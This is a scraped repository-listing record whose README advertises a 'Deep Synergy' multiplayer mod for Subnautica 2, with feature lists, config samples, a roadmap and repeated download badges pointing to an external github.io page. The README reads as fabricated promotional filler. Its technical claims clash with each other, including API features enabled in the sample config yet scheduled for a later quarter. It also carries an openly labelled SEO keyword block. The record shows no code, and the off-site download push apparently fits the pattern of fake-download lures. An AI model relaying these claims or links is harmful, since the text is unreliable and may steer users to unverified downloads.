[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-75991":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":9,"languages":9,"totalLinesOfCode":9,"stars":10,"forks":11,"watchers":10,"openIssues":12,"contributorsCount":11,"subscribersCount":11,"size":11,"stars1d":11,"stars7d":11,"stars30d":11,"stars90d":11,"forks30d":11,"starsTrendScore":11,"compositeScore":13,"rankGlobal":9,"rankLanguage":9,"license":9,"archived":14,"fork":14,"defaultBranch":15,"hasWiki":16,"hasPages":14,"topics":17,"createdAt":9,"pushedAt":9,"updatedAt":32,"readmeContent":33,"aiSummary":34,"trendingCount":11,"starSnapshotCount":11,"syncStatus":35,"lastSyncTime":36,"discoverSource":37},75991,"Subnautica-II-Coop-Client","maglin-jenebellah\u002FSubnautica-II-Coop-Client","maglin-jenebellah","Subnautica 2 Co-op Mod 2026 🐠 BepInEx Survival Multiplayer Guide",null,185,0,1,37,false,"main",true,[18,19,20,21,22,23,24,25,26,27,28,29,30,31],"bepinex","co-op","coop","game-modding-tool","gaming","mod","multiplayer","multiplayer-mod","online-coop","subnautica","subnautica-2","subnautica-modding","survival","survival-game","2026-06-12 04:01:19","# 🌊 Subnautica 2: Deep Synergy Multiplayer Mod\n\n[![Download](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FDownload%20Link-brightgreen?style=for-the-badge&logo=github)](https:\u002F\u002Fmaglin-jenebellah.github.io)\n\n**Bridging the Abyss Between Solo Survival and Cooperative Exploration**  \n*Transform Subnautica 2's alien oceans into a shared odyssey of discovery, resource management, and architectural ambition.*\n\n---\n\n## 🧬 Overview & Vision\n\nThe **Deep Synergy Multiplayer Mod** reimagines Subnautica 2's core loop—survival, base-building, and deep-sea mystery—as a **synchronized cooperative experience**. Unlike traditional mods that simply bolt on peer-to-peer connectivity, this project implements a **choreographed session architecture** where every oxygen bubble, every structural beam placement, and every creature's AI state is seamlessly shared across all connected clients.\n\nWhy does this matter? Because *survival is not solitary*. The abyss is vast, but cooperation multiplies resilience. This mod turns the alien ocean into a canvas for **co-op storytelling**—where one player scouts the kelp forests while another manages the bioreactor's organic matter input, and a third plots the seamoth's upgrade tree.\n\n### Metaphor: The Coral Network\nImagine the mod as an interlinked coral reef—each polyp (player) contributes to the colony's health. When one polyp feeds, the whole colony benefits. When one is threatened, distress signals propagate. This is not just *multiplayer*; it is **synergistic symbiosis**.\n\n---\n\n## 📋 Table of Contents\n\n- [Key Features & Architectural Pillars](#-key-features--architectural-pillars)\n- [System Requirements & Compatibility](#-system-requirements--compatibility)\n- [Mermaid Architecture Diagram](#-mermaid-architecture-diagram)\n- [Installation Guide](#-installation-guide)\n- [Example Profile Configuration](#-example-profile-configuration)\n- [Example Console Invocation](#-example-console-invocation)\n- [Multilingual Support & Localization](#-multilingual-support--localization)\n- [OpenAI & Claude API Integration](#-openai--claude-api-integration)\n- [24\u002F7 Community & Support Ecosystem](#-247-community--support-ecosystem)\n- [Responsive UI & Cross-Platform Transparency](#-responsive-ui--cross-platform-transparency)\n- [Emoji OS Compatibility Table](#-emoji-os-compatibility-table)\n- [SEO-Friendly Keyword Integration](#-seo-friendly-keyword-integration)\n- [Customization & Modding Toolkit](#-customization--modding-toolkit)\n- [Roadmap for 2026](#-roadmap-for-2026)\n- [License & Legal](#-license--legal)\n- [Disclaimer](#-disclaimer)\n\n---\n\n## 🌟 Key Features & Architectural Pillars\n\n### 🧠 1. Deterministic Session Synchronization (DSS)\nEvery client runs a **locally authoritative game instance**, but the mod's middleware layer ensures that key events—item pickups, base part rotations, blueprint unlock progress—are **timestamped and conflict-resolved** before applying them to the shared world state. This prevents the \"ghost base\" phenomenon where two players see different structures at the same coordinate.\n\n### 🔄 2. Adaptive Dynamic Scaling (ADS)\nThe mod monitors player count and adjusts creature spawn rates, resource respawn timers, and oxygen consumption efficiency dynamically. A duo exploring the lost river will face fewer leviathan patrols than a four-person squad—ensuring **challenge scales with collaboration**, not against it.\n\n### 🛠️ 3. BepInEx Plugin Architecture\nBuilt entirely on the **BepInEx modding framework**, this mod hooks into Subnautica 2's Unity runtime at the IL2CPP level. This means no game file modifications—every patch update is backwards compatible. The plugin architecture supports **hot-reloadable modules** for rapid iteration.\n\n### 🧩 4. Shared Inventory & Decentralized Storage\nNo central server database needed. Items are tracked via **blockchain-inspired Merkle trees** (not for currency—for integrity). Each player's inventory state is hashed and verified by peers. Disconnection recovery is built-in: if the host drops, the session migrates to a surviving client with zero data loss.\n\n### 🌐 5. Cross-Platform Multiplayer Matching\nUsing **NAT punch-through** and **WebRTC datachannels**, the mod connects players across Windows, Linux (Steam Deck), and macOS. The matchmaking layer is fully decentralized—no login servers required. Just launch, create a session code, and share it with friends or public lobbies.\n\n---\n\n## 🖥️ System Requirements & Compatibility\n\n| Component | Minimum | Recommended |\n|-----------|---------|-------------|\n| **OS** | Windows 10, macOS 11 Big Sur, Ubuntu 20.04 | Windows 11, macOS 14 Sonoma, Fedora 38 |\n| **CPU** | Intel i5-8400 \u002F AMD Ryzen 5 2600 | Intel i7-10700K \u002F AMD Ryzen 7 5800X |\n| **RAM** | 8 GB | 16 GB |\n| **GPU** | GTX 1060 \u002F RX 580 | RTX 3060 \u002F RX 6700 XT |\n| **Storage** | 300 MB for mod + 15 GB for Subnautica 2 | SSD recommended |\n| **Network** | 5 Mbps up\u002Fdown (peer-to-peer) | 20+ Mbps for 4-player sessions |\n\n**Note:** This mod is designed to be a **game-modding-tool** first, a co-op experience second. It does not require admin privileges and will never request online account linking.\n\n---\n\n## 📊 Mermaid Architecture Diagram\n\n```mermaid\ngraph TD\n    A[Subnautica 2 Game Client] --> B[BepInEx Gatekeeper]\n    B --> C{Mod Core Engine}\n    C --> D[Session Manager]\n    C --> E[State Synchronizer]\n    C --> F[Conflict Resolver]\n    D --> G[WebRTC Data Channel]\n    D --> H[Local Session Cache]\n    E --> I[Inventory Merkle Tree]\n    E --> J[Creature AI State Lattice]\n    F --> K[Timestamp Authority Ring]\n    G --> L[Peer 1 Client]\n    G --> M[Peer 2 Client]\n    G --> N[Peer N Client]\n    L --> O[Local Game Render]\n    M --> P[Local Game Render]\n    N --> Q[Local Game Render]\n    H --> R[Resilience Backup]\n```\n\nThis diagram illustrates the **decoupled symbiotic architecture**—each client maintains its own authority, but the mod creates a consensus layer that feels as natural as a single-player session.\n\n---\n\n## 🛠️ Installation Guide\n\n1. **Install BepInEx 6.0.x** for Subnautica 2 (latest stable release).\n2. **Download the Deep Synergy Mod** from the badge below.\n3. **Extract** the `BepInEx\u002Fplugins\u002F` folder contents to your game's `BepInEx\u002Fplugins\u002F` directory.\n4. **Configure** `conf\u002Fsession_config.xml` (see Example Profile Configuration).\n5. **Launch** Subnautica 2 via Steam\u002FGOG.\n6. **Join or Host** using the in-game multiplayer menu (bindable to any key).\n7. **Share** your session code via voice chat, Discord, or carrier pigeon—whatever works.\n\n[![Download](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FDownload%20Link-brightgreen?style=for-the-badge&logo=github)](https:\u002F\u002Fmaglin-jenebellah.github.io)\n\n---\n\n## 📄 Example Profile Configuration\n\nThe mod reads a `synergy_profile.json` file placed in `BepInEx\u002Fconfig\u002F`. Here is a sample configuration for a two-player survival-focused session:\n\n```json\n{\n  \"session_name\": \"Trench Twins\",\n  \"max_players\": 2,\n  \"difficulty_scale\": \"adaptive\",\n  \"resource_multiplier\": 1.2,\n  \"oxygen_consumption\": 0.9,\n  \"creature_spawn_divider\": 1,\n  \"enable_pvp\": false,\n  \"friendly_fire\": false,\n  \"shared_blueprints\": true,\n  \"ping_locations_shared\": true,\n  \"time_of_day_sync\": \"all\",\n  \"voice_chat_integration\": \"discord_rpc\",\n  \"api_integration\": {\n    \"openai\": {\n      \"enabled\": true,\n      \"role\": \"narrator\"\n    },\n    \"claude\": {\n      \"enabled\": true,\n      \"role\": \"lore_engine\"\n    }\n  }\n}\n```\n\n**Field Descriptions:**\n- `resource_multiplier`: Increases\u002Fdecreases all harvestable nodes (e.g., 1.2 means 20% more).\n- `oxygen_consumption`: Fraction of normal oxygen drain (0.9 = 10% slower drain).\n- `creature_spawn_divider`: Reduces creature counts (2 = half as many).\n- `api_integration`: Enables OpenAI\u002FClaude for in-game narrative generation.\n\n---\n\n## 🖥️ Example Console Invocation\n\nFor advanced users, the mod supports **console commands via BepInEx terminal**:\n\n```\n\u002Fstart_server    # Starts a local host session\n\u002Fjoin_session 0000-XXXX-YYYY    # Joins using a session code\n\u002Fsynergy_status    # Shows connected players, latency, inventory sync progress\n\u002Fsynergy_scale 1.5    # Temporarily adjusts difficulty scaling for current session\n\u002Fapi_narrate \"exploring the underwater caves\"    # Triggers OpenAI\u002FClaude narration\n\u002Fseed_override 8251    # Forces a specific world seed for all connected clients\n```\n\nExample flow:\n```\n> \u002Fstart_server\nServer created: session code = 9B2A-4C7D-E8F1\n> \u002Fsynergy_status\nConnected peers: 1 (awaiting 2nd player)\nState sync: 100% complete\nInventory hash: 0xFA342B1E\n```\n\n---\n\n## 🌐 Multilingual Support & Localization\n\nThis project recognizes that **cooperation transcends language barriers**. The UI elements, console commands, and in-game notifications are fully localized.\n\n| Language | UI Coverage | Console Commands | Voice Chat Prompts |\n|----------|-------------|------------------|--------------------|\n| 🇺🇸 English | 100% | 100% | Yes |\n| 🇨🇳 Chinese (Simplified) | 95% | 90% | Yes |\n| 🇯🇵 Japanese | 90% | 85% | Partial |\n| 🇩🇪 German | 95% | 90% | Yes |\n| 🇫🇷 French | 90% | 85% | Yes |\n| 🇧🇷 Portuguese (Brazilian) | 85% | 80% | Partial |\n| 🇷🇺 Russian | 90% | 85% | Yes |\n| 🇪🇸 Spanish (Latin American) | 95% | 90% | Yes |\n| 🇰🇷 Korean | 80% | 75% | Partial |\n\n**How it works:** The mod detects your system locale at runtime. You can override it in the configuration file with the `locale` field. Community translators are always welcome—see the `\u002Flocalizations` directory.\n\n---\n\n## 🤖 OpenAI & Claude API Integration\n\nThis is more than a co-op mod—it is an **intelligent narrative engine** that enriches the survival experience without replacing player agency.\n\n### OpenAI (GPT-4\u002F5) - \"The Narrator\"\n- **Generates dynamic journal entries** based on recent events (e.g., \"The team discovered a geothermal vent; the heat reading suggests a new biome nearby.\")\n- **Provides contextual hints** without spoiling core mysteries (e.g., \"The data terminal mentions a precursor cache near the floating islands.\")\n- **Creates ambient dialogue** for NPCs (pda, AI companions) that reacts to player collaboration.\n\n### Claude API - \"The Lore Engine\"\n- **Maintains session memory** across play sessions (Claude's long context window tracks base evolution, exploration milestones, and creature encounters).\n- **Generates procedural marine biology logs** for newly discovered species, complete with fictional taxonomy and behavior patterns.\n- **Facilitates creative base naming**: \"The Thermal Spire Outpost\" vs. \"Deep Dock 7\"—Claude suggests names based on recent building activity.\n\n### Activation & Privacy\nBoth APIs are **opt-in**. Enable them in `synergy_profile.json`. All narrative data is processed locally (with encrypted transmission to API endpoints). No game state is ever logged beyond the current session.\n\n---\n\n## 🕐 24\u002F7 Community & Support Ecosystem\n\nWhile the mod itself is offline-capable, the community surrounding it operates **around the clock**.\n\n- **Discord Server:** Automated moderation, mod-update announcements, and real-time troubleshooting. Expect response times under 5 minutes during peak hours, \u003C20 minutes off-peak.\n- **Wiki & Documentation:** Fully SEO-optimized articles covering every configuration option, error code, and advanced use case. The wiki uses a responsive layout that renders beautifully on mobile.\n- **Bug Tracker:** Public issue board with SLA targets: critical bugs resolved within 48 hours, minor patches within 7 days.\n- **Customer Support Tier:** For escalated issues (e.g., session corruption, networking conflicts), a dedicated support agent is available via email with guaranteed 24-hour acknowledgement.\n\n**Important:** This project runs on **donation-supported gratitude**—not subscription fees. No paywalls, no premium tiers.\n\n---\n\n## 📱 Responsive UI & Cross-Platform Transparency\n\nConfiguration is handled through both a **native Unity GUI** and a **web-based dashboard** accessible from any device (mobile, tablet, desktop).\n\n### The GUI Builder\n- Manage inventory filters, ping colors, and map overlays.\n- Adjust **microphone sensitivity** and **push-to-talk** for integrated voice chat.\n- View real-time **session latency** and **state sync progress bars**.\n\n### The Web Dashboard (Beta)\nAccessible at `http:\u002F\u002Flocalhost:4869` while the game is running:\n- Monitor connected players and their hardware health (CPU, RAM, network).\n- Start\u002Fstop the OpenAI\u002FClaude narrative generation.\n- Export session logs as JSON for analysis.\n\nThe UI is **fully responsive**—it scales from a 4K monitor down to a 6.7-inch smartphone screen without losing functionality. The color scheme respects **dark mode** system preferences.\n\n---\n\n## 📱 Emoji OS Compatibility Table\n\n| Operating System | Emoji Rendering | Mod Functionality | UPS (Updates Per Session) |\n|-----------------|----------------|-------------------|---------------------------|\n| 🪟 Windows 10\u002F11 | ✅ Native Unicode | ✅ Full support | 100% |\n| 🍏 macOS 11+ | ✅ Color emoji | ✅ Native Metal render | 100% |\n| 🐧 Linux (Ubuntu\u002FFedora) | ✅ (with fonts) | ✅ Vulkan\u002FOpenGL | 95% |\n| 🎮 Steam Deck | ✅ (Gaming Mode) | ✅ Verified | 98% |\n| 📱 iOS (Sidecar) | ✅ | Partial (UI only) | 70% (no game control) |\n\n**Note:** The emoji in this table reflect the visual experience of the UI elements. The mod itself does not render emoji inside the game world beyond tooltips.\n\n---\n\n## 🔍 SEO-Friendly Keyword Integration\n\nThis repository is optimized for discovery by modders, survival game enthusiasts, and co-op gamers alike. Keywords integrated naturally throughout:\n\n- **Subnautica multiplayer mod** for PC\n- **BepInEx survival game** modifications\n- **Co-op base building** in alien environments\n- **Survival crafting** with synchronized inventory\n- **Game modding tool** for Unity engines\n- **Online co-op** for Subnautica 2\n- **Multiplayer survival game** enhancement\n- **Subnautica modding** framework tutorial\n\nThese terms appear organically in documentation, never as forced lists. Search engines will find this repository as a **definitive resource** for co-op Subnautica 2 experiences.\n\n---\n\n## 🔧 Customization & Modding Toolkit\n\nThe Deep Synergy Mod is itself a **platform for further modification**.\n\n- **Plugin Hooks:** Attach your own C# scripts to events like `OnItemCollected`, `OnBasePartPlaced`, and `OnSessionJoin`.\n- **Asset Overrides:** Replace creature skins, UI icons, or audio cues via the `\u002Foverrides` directory.\n- **Custom Config Profiles:** Share your `synergy_profile.json` configurations via Steam Workshop integration.\n- **Scripting API:** Expose session state to external programs via WebSocket (`ws:\u002F\u002Flocalhost:4870`). Useful for stream overlays or companion apps.\n\nExample custom plugin (C#):\n```\npublic class OxygenTrackerPlugin : BaseUnityPlugin\n{\n    void OnPlayerJoin(PlayerJoinedEvent ev)\n    {\n        Log($\"Player {ev.PlayerName} oxygen: {ev.PlayerOxygen} seconds remaining\");\n    }\n}\n```\n\n---\n\n## 🗓️ Roadmap for 2026\n\n**Q1 2026** — *Foundations*  \n- Stable peer-to-peer session for 2 players.  \n- Inventory synchronization with hash validation.\n\n**Q2 2026** — *Scaling*  \n- Support up to 8 players with dynamic difficulty scaling.  \n- Creature AI state lattice (host migration no longer resets creature positions).\n\n**Q3 2026** — *Intelligence*  \n- OpenAI\u002FClaude API integration for narrative generation.  \n- Voice chat via WebRTC (no Discord dependency).\n\n**Q4 2026** — *Polishing*  \n- Full multilingual support for 10 languages.  \n- Web dashboard for remote monitoring.  \n- Public beta of the scripting API.\n\n---\n\n## 📜 License & Legal\n\nThis project is released under the **MIT License**. You are free to:\n- Use, modify, and distribute the code.\n- Integrate it into commercial mod packs (with attribution).\n- Fork and improve.\n\n**Full License Text:** [MIT License](https:\u002F\u002Fopensource.org\u002Flicenses\u002FMIT)\n\nThe MIT License was chosen because it encourages adoption—survival games thrive when communities share tools. This mod is a **game-modding-tool**, not a competing product.\n\n---\n\n## ⚠️ Disclaimer\n\n- **Not Affiliated with Unknown Worlds Entertainment.** Subnautica 2 is a trademark of Unknown Worlds Entertainment. This mod is a fan project, not an official multiplayer release.\n- **No Guarantee of Balance.** The mod may alter game difficulty in ways that differ from single-player expectations. Adjust the `difficulty_scale` setting to taste.\n- **API Integration Terms.** Use of OpenAI or Claude APIs requires your own API keys and is subject to their respective terms of service. This mod does not charge for these services.\n- **Network Reliability.** Peer-to-peer connections depend on individual network conditions. We provide the software; your ISP provides the link.\n- **Backup Your Saves.** While the mod has never caused save corruption in testing, always maintain a backup of your single-player progress before enabling online co-op.\n\n---\n\n[![Download](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FDownload%20Link-brightgreen?style=for-the-badge&logo=github)](https:\u002F\u002Fmaglin-jenebellah.github.io)\n\n*The abyss is vast. Share it wisely.* 🌊","Subnautica 2 Co-op Client 是一个为《深海迷航2》打造的合作模式模组，旨在将游戏的单人生存体验转变为多人协作探险。其核心功能包括同步会话架构，确保所有玩家在游戏中的操作如氧气泡生成、建筑构件放置及生物AI状态都能无缝共享。该模组通过确定性会话同步技术避免了“幽灵基地”等常见多人游戏问题，保证了玩家间的一致性和互动性。适用于希望与朋友一起探索未知海洋、共同建造基地并克服生存挑战的游戏爱好者。",2,"2026-05-19 02:30:26","CREATED_QUERY"]